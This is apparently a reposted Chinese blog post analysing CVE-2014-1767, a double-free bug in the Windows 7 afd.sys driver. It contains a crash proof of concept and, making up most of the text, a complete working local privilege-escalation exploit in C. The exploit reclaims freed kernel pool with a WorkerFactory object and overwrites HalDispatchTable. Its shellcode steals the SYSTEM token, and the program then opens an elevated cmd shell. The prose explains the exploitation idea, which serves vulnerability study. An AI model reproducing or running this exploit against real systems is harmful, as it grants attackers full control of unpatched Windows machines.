CVE-2014-1767 Windows内核UAF漏洞分析

参考:https://xz.aliyun.com/t/6770
https://www.jianshu.com/p/6b01cfa41f0c
https://blog.csdn.net/CharlesGodX/article/details/87638788

环境 win7sp1 x32
漏洞模块afd.sys
漏洞成因
这个漏洞的本质是,进行异常处理时,在afd!AfdReturnTpInfo函数中,tpInfo对象的mdl成员在释放后没有置空,造成了一个悬挂指针,一旦对该指针进行二次释放,就会引起Crash。

先来分析poc

#include<windows.h>
#include<stdio.h>
#pragma comment(lib,"WS2_32.lib")

int main()
{
    DWORD targetSize=0x310;
    DWORD virtualAddress=0x13371337;
    DWORD mdlSize=(0x4000*(targetSize-0x30)/8)-0xFFF0-(virtualAddress& 0xFFF);
    static DWORD inbuf1[100];
    memset(inbuf1,0,sizeof(inbuf1));
    inbuf1[6]=virtualAddress;
    inbuf1[7]=mdlSize;
    inbuf1[10]=1;
    static DWORD inbuf2[100];
    memset(inbuf2,0,sizeof(inbuf2));
    inbuf2[0]=1;
    inbuf2[1]=0x0AAAAAAA;
    WSADATA WSAData;
    SOCKET s;
    sockaddr_in sa;
    int ierr;
    WSAStartup(0x2,&WSAData);
    s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
    memset(&sa,0,sizeof(sa));
    sa.sin_port=htons(135);
    sa.sin_addr.S_un.S_addr=inet_addr("127.0.0.1");
    sa.sin_family=AF_INET;
    ierr=connect(s,(const struct sockaddr *)&sa,sizeof(sa));
    static char outBuf[100];
    DWORD bytesRet;
    DeviceIoControl((HANDLE)s,0X1207F,(LPVOID)inbuf1,0x30,outBuf,0,&bytesRet,NULL);
    DeviceIoControl((HANDLE)s,0X120C3,(LPVOID)inbuf2,0x18,outBuf,0,&bytesRet,NULL);
    return 0;
}

poc造成了双重释放漏洞 而漏洞触发点正是两次发送IOCTL控制码造成的 。
第一次发送由于我们提供的是无效的地址范围,此时抛出异常,进入异常处理造成了几个释放后没有置为NULL的野指针,第二次发送造成内存申请过大再次进入异常处理后再次释放第一次释放过的玩意导致崩溃
再来看exp

//CVE-2014-1767 exp for win7 32bit
//by 会飞的猫 2015.2.4
//complied with VS2013
#include <windows.h>
#include <stdio.h>
#pragma comment(lib, "WS2_32.lib")

#define NT_SUCCESS(Status) (((NTSTATUS)(Status)) >= 0)
typedef LPVOID PEPROCESS;

typedef NTSTATUS(__stdcall *_NtCreateWorkerFactory)(PHANDLE, ACCESS_MASK, PVOID, HANDLE, HANDLE, PVOID, PVOID, ULONG, SIZE_T, SIZE_T);
typedef NTSTATUS(__stdcall *_NtQueryEaFile)(HANDLE, PVOID, PVOID, ULONG, BOOLEAN, PVOID, ULONG, PULONG, BOOLEAN);
typedef NTSTATUS(__stdcall *_ZwAllocateVirtualMemory)(HANDLE, PVOID, ULONG, PULONG, ULONG, ULONG);
typedef NTSTATUS(__stdcall *_NtQuerySystemInformation)(ULONG, PVOID, ULONG, PULONG);
typedef NTSTATUS(__stdcall *_NtSetInformationWorkerFactory)(HANDLE, ULONG, PVOID, ULONG);
typedef NTSTATUS(__stdcall *_NtQueryIntervalProfile)(DWORD, PULONG);
typedef NTSTATUS(__stdcall *_PsLookupProcessByProcessId)(DWORD, LPVOID *);
typedef NTSTATUS(__stdcall *_NtQueryInformationWorkerFactory)(HANDLE, LONG, PVOID, ULONG, PULONG);

typedef struct _IO_STATUS_BLOCK {
	union {
		NTSTATUS Status;
		PVOID Pointer;
	};
	ULONG_PTR Information;
} IO_STATUS_BLOCK, *PIO_STATUS_BLOCK;

typedef struct _RTL_PROCESS_MODULE_INFORMATION {
	HANDLE Section;                 // Not filled in
	PVOID MappedBase;
	PVOID ImageBase;
	ULONG ImageSize;
	ULONG Flags;
	USHORT LoadOrderIndex;
	USHORT InitOrderIndex;
	USHORT LoadCount;
	USHORT OffsetToFileName;
	UCHAR  FullPathName[256];
} RTL_PROCESS_MODULE_INFORMATION, *PRTL_PROCESS_MODULE_INFORMATION;

typedef struct _RTL_PROCESS_MODULES {
	ULONG NumberOfModules;
	RTL_PROCESS_MODULE_INFORMATION Modules[1];
} RTL_PROCESS_MODULES, *PRTL_PROCESS_MODULES;

_NtCreateWorkerFactory NtCreateWorkerFactory;
_NtQueryEaFile NtQueryEaFile;
_ZwAllocateVirtualMemory ZwAllocateVirtualMemory;
_NtQuerySystemInformation NtQuerySystemInformation;
_NtSetInformationWorkerFactory NtSetInformationWorkerFactory;
_NtQueryIntervalProfile NtQueryIntervalProfile;
_PsLookupProcessByProcessId PsLookupProcessByProcessId;
_NtQueryInformationWorkerFactory NtQueryInformationWorkerFactory;

HANDLE hWorkerFactory;
LPVOID AllocAddr = (LPVOID)0x20000000;
ULONG uHalDispatchTable = 0;
HMODULE ntoskrnl;
ULONG ntoskrnlBase;
PVOID pHaliQuerySystemInformation = NULL;

int GetNtdllFuncAddr()
{
	HMODULE ntdll = GetModuleHandle("ntdll.dll");

	NtCreateWorkerFactory = (_NtCreateWorkerFactory)(GetProcAddress(ntdll, "NtCreateWorkerFactory"));
	if (NtCreateWorkerFactory == NULL)
	{
		printf("Get NtCreateWorkerFactory Address Error:%d", GetLastError());
		CloseHandle(ntdll);
		return -1;
	}

	//NtQueryEaFile
	NtQueryEaFile = (_NtQueryEaFile)GetProcAddress(ntdll, "NtQueryEaFile");
	if (NtQueryEaFile == NULL)
	{
		printf("Get NtQueryEaFile Address Error:%d", GetLastError());
		return -1;
	}
	//ZwAllocateVirtualMemory
	ZwAllocateVirtualMemory = (_ZwAllocateVirtualMemory)GetProcAddress(ntdll, "ZwAllocateVirtualMemory");
	//NtQuerySystemInformation
	NtQuerySystemInformation = (_NtQuerySystemInformation)GetProcAddress(ntdll, "NtQuerySystemInformation");
	if (NtQuerySystemInformation == NULL)
	{
		printf("Get NtQuerySystemInformation Address Error:%d", GetLastError());
		return -1;
	}
	//NtSetInformationWorkerFactory
	NtSetInformationWorkerFactory = (_NtSetInformationWorkerFactory)(GetProcAddress(ntdll, "NtSetInformationWorkerFactory"));
	if (NtSetInformationWorkerFactory == NULL)
	{
		printf("Get NtSetInformationWorkerFactory Address Error:%d", GetLastError());
		return -1;
	}
	//_NtQueryIntervalProfile
	NtQueryIntervalProfile = (_NtQueryIntervalProfile)(GetProcAddress(ntdll, "NtQueryIntervalProfile"));
	if (NtQueryIntervalProfile == NULL)
	{
		printf("Get NtQueryIntervalProfile Address Error:%d", GetLastError());
		return -1;
	}
	//get uHalDispatchTable
	RTL_PROCESS_MODULES module;
	memset(&module, 0, sizeof(RTL_PROCESS_MODULES));
	NTSTATUS status = NtQuerySystemInformation(11, &module, sizeof(RTL_PROCESS_MODULES), NULL);
	if (status != 0xC0000004)    //STATUS_INFO_LENGTH_MISMATCH
	{
		printf("Get module Address Error:%d", GetLastError());
		return -1;
	}
	ntoskrnlBase = (ULONG)module.Modules[0].ImageBase;
	ntoskrnl = LoadLibrary((LPCSTR)(module.Modules[0].FullPathName + module.Modules[0].OffsetToFileName));
	if (ntoskrnl == NULL)
	{
		printf("LoadLibrary ntoskrnl.exe fail!\n");
		return -1;
	}
	uHalDispatchTable = (ULONG)GetProcAddress(ntoskrnl, "HalDispatchTable") - (ULONG)ntoskrnl + ntoskrnlBase;
	if (uHalDispatchTable == 0)
	{
		printf("Get HalDispatchTable Error:%d\n", GetLastError());
		return -1;
	}
	//printf("HalDispatchTable Address:0x%x!\n", uHalDispatchTable);

	//PsLookupProcessByProcessId
	PsLookupProcessByProcessId = (_PsLookupProcessByProcessId)((ULONG)GetProcAddress(ntoskrnl, "PsLookupProcessByProcessId") - (ULONG)ntoskrnl + ntoskrnlBase);
	if (PsLookupProcessByProcessId == NULL)
	{
		printf("Get PsLookupProcessByProcessId Address Error:%d", GetLastError());
		return -1;
	}
	CloseHandle(ntdll);
	return 0;
}
/*int CreateWorkerFactory()
{
HANDLE hCompletionPort = CreateIoCompletionPort(INVALID_HANDLE_VALUE, NULL, 1337, 4);

DWORD Exploit;
NTSTATUS status = NtCreateWorkerFactory(&hWorkerFactory, GENERIC_ALL, NULL, hCompletionPort, (HANDLE)-1, &Exploit, NULL, 0, 0, 0);
if (!NT_SUCCESS(status))
{
printf("NtCreateWorkerFactory fail!Error:%d\n", GetLastError());
return -1;
}
return 0;
}*/
int MyNtQueryEaFile()
{
	NTSTATUS status;
	IO_STATUS_BLOCK StatusBlock;

	status = NtQueryEaFile(NULL, (PIO_STATUS_BLOCK)&StatusBlock, NULL, NULL, FALSE, AllocAddr, 0x98, NULL, TRUE);
	return 0;
}
//shellcode代码
void shellcode()
{
	PEPROCESS pCur, pSys;
	DWORD dwSystemProcessId = 4;
	DWORD dwCurProcessId = GetCurrentProcessId();
	PsLookupProcessByProcessId(dwCurProcessId, &pCur);
	PsLookupProcessByProcessId(dwSystemProcessId, &pSys);
	//replace current process`s token with system token
	*(PVOID *)((DWORD)pCur + 0xf8) = *(PVOID *)((DWORD)pSys + 0xf8);
	//set our handle`s HandleTableEntry with NULL to avoid bugcheck
	PULONG ObjectTable = *(PULONG *)((ULONG)pCur + 0x0f4);
	PULONG HandleTableEntry = (PULONG)(*(ULONG*)(ObjectTable)+2 * ((ULONG)hWorkerFactory & 0xFFFFFFFC));
	*HandleTableEntry = NULL;
	//dec handle reference by 1
	*(ObjectTable + 0x30) -= 1;
	//restore HalDispatchTable+4 to avoid bugcheck
	//*(DWORD*)(uHalDispatchTable + 4) = (DWORD)pHaliQuerySystemInformation;
}
int MyNtSetInformationWorkerFactory()
{
	DWORD* tem = (DWORD*)malloc(0x20);
	memset(tem, 'A', 0x20);
	tem[0] = (DWORD)shellcode;

	NTSTATUS status = NtSetInformationWorkerFactory(hWorkerFactory, 0x8, tem, 0x4);
	return 0;
}
void CreatNewCmd()
{
	STARTUPINFO         StartupInfo;
	PROCESS_INFORMATION ProcessInfo;

	memset(&StartupInfo, 0, sizeof(StartupInfo));
	memset(&ProcessInfo, 0, sizeof(ProcessInfo));

	StartupInfo.cb = sizeof(STARTUPINFO);
	StartupInfo.wShowWindow = 0;
	StartupInfo.dwFlags = 0;
	CreateProcess(0, "cmd", 0, 0, 0, CREATE_NEW_CONSOLE, 0, 0, &StartupInfo, &ProcessInfo);
	WaitForSingleObject(ProcessInfo.hProcess, 60000);
	CloseHandle(ProcessInfo.hProcess);
	CloseHandle(ProcessInfo.hThread);
}
void GetHaliQuerySystemInformation()
{
	static BYTE kernelRetMem[0x60];
	memset(kernelRetMem, 0, sizeof(kernelRetMem));

	NtQueryInformationWorkerFactory(hWorkerFactory,
		7,
		kernelRetMem,
		0x60,
		NULL);

	pHaliQuerySystemInformation = *(PVOID *)(kernelRetMem + 0x50);
	printf("uHaliQuerySystemInformation: %p\n", pHaliQuerySystemInformation);
	return;
}
int main()
{
	printf("----------------------------------------\n");
	printf("****CVE-2014-1767 exp for win7 32bit****\n");
	printf("****by flycat 2015.2.4****\n");
	printf("----------------------------------------\n");
	printf("\n\n\n\n");
	DWORD targetSize = 0xA0;
	DWORD virtualAddress = 0x13371337;
	DWORD Length = ((targetSize - 0x1C) / 4 - (virtualAddress % 4 ? 1 : 0)) * 0x1000;


	static DWORD inbuf1[100];
	memset(inbuf1, 0, sizeof(inbuf1));
	inbuf1[6] = virtualAddress;
	inbuf1[7] = Length;


	static DWORD inbuf2[100];
	memset(inbuf2, 0, sizeof(inbuf2));
	inbuf2[0] = 1;
	inbuf2[1] = 0x0AAAAAAA;

	WSADATA WSAData;
	SOCKET s;
	sockaddr_in sa;
	int ier;

	WSAStartup(0x2, &WSAData);
	s = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
	memset(&sa, 0, sizeof(sa));
	sa.sin_port = htons(135);
	sa.sin_addr.S_un.S_addr = inet_addr("127.0.1");
	sa.sin_family = AF_INET;
	ier = connect(s, (const struct sockaddr *)&sa, sizeof(sa));

	static char outBuf[100];
	DWORD bytesRet;

	int nRet = 0;
	//get some kernel function addresses
	nRet = GetNtdllFuncAddr();
	if (nRet != 0)
	{
		return -1;
	}
	//allocate  memory and set some data
	DWORD uRegionSize = 0x200;
	NTSTATUS status = ZwAllocateVirtualMemory(GetCurrentProcess(),
		&AllocAddr, 0, &uRegionSize,
		MEM_COMMIT | MEM_RESERVE | MEM_TOP_DOWN,
		PAGE_EXECUTE_READWRITE);
	if (!NT_SUCCESS(status))
	{
		printf("Allocate Mem Failed :%d\n", GetLastError());
		return -1;
	}

	memset(AllocAddr, 0, 0x200);
	__asm
	{
		pushad
		mov eax, AllocAddr
			mov dword ptr[eax + 4], 0xa8
			mov dword ptr[eax + 10h], 2
			mov dword ptr[eax + 14h], 1
			mov dword ptr[eax + 1ch], 80016h
			mov dword ptr[eax + 28h], 20000028h
			mov ebx, uHalDispatchTable
			sub ebx, 18h
			mov dword ptr[eax + 38h], ebx
			popad
	}
	//wait 2 second 
	::Sleep(2000);
	//first IoControl
	DeviceIoControl((HANDLE)s, 0x1207F, (LPVOID)inbuf1, 0x30, outBuf, 0, &bytesRet, NULL);
	//Create a Workerfactory object to occupy the free Mdl pool
	HANDLE hCompletionPort = CreateIoCompletionPort(INVALID_HANDLE_VALUE, NULL, 1337, 4);
	DWORD Exploit;
	status = NtCreateWorkerFactory(&hWorkerFactory, GENERIC_ALL, NULL, hCompletionPort, (HANDLE)-1, &Exploit, NULL, 0, 0, 0);
	if (!NT_SUCCESS(status))
	{
		printf("NtCreateWorkerFactory fail!Error:%d\n", GetLastError());
		return -1;
	}
	//try to read HaliQuerySystemInformation address but failed
	//GetHaliQuerySystemInformation();

	//second IoControl
	//free the Workerfactory object we create just now
	DeviceIoControl((HANDLE)s, 0x120C3, (LPVOID)inbuf2, 0x18, outBuf, 0, &bytesRet, NULL);
	//NtQueryEaFile will allocate a pool with the same size of Workerfactory object,and 
	//memcpy our data to the Workerfactory object,mainly change Workerfactory object+0x10 to 
	//HalDispatchTable+4
	MyNtQueryEaFile();
	//change HalDispatchTable+4 to our shellcode address
	MyNtSetInformationWorkerFactory();
	//Trigger from user mode
	ULONG temp = 0;
	status = NtQueryIntervalProfile(2, &temp);
	if (!NT_SUCCESS(status))
	{
		printf("NtQueryIntervalProfile fail!Error:%d\n", GetLastError());
		return -1;
	}
	printf("done!\n");
	//Sleep(000);
	//Create a new cmd process with current token
	printf("Creating a new cmd...\n");
	CreatNewCmd();
	return 0;
}

从exp分析利用思路
利用释放内存漏洞 必然要占坑,可以看到第一次发送控制码的时候 数据是用户构造好的的数据,而该数据就是第一次释放的内存大小,该内存大小又是接下来NtCreateWorkerFactory构造好的WokerFactory对象的大小(固定大小0XA0)(牛逼,用户层调用NT函数创建对象占坑内核堆内存),然后第二次发送控制码释放刚刚构造好的WokerFactory对象, 然后通过NT函数NtQueryEaFile将冷门函数表的地址覆盖掉释放的WokerFactory对象内存(NtQueryEaFile申请了内核非分页内存,并且实现了一次memcpy,参数6内的数据会被复制到新申请的空间中,牛逼),接着调用WokerFactory对象的方法函数NtSetInformationWorkerFactory修改WokerFactory字段(也就是将shellcode写到那个冷门函数表里面去),最后触发hook提权。
在这里插入图片描述
好了 后面的不多说了 就是提权.
漏洞终极原因 :他娘娘的腿的 第一次发送控制码释放的内存大小是用户可控的 造成用户可以通过创建WokerFactory对象占坑,而第二次释放的内存也是第一次释放的内存,造成用户可以通过NtQueryEaFile申请内存占WokerFactory对象的坑来修改WokerFactory对象的字段值

总结:WokerFactory牛逼,NtQueryEaFile牛逼,NtSetInformationWorkerFactory牛逼

猜你喜欢

转载自blog.csdn.net/qq_43045569/article/details/106334785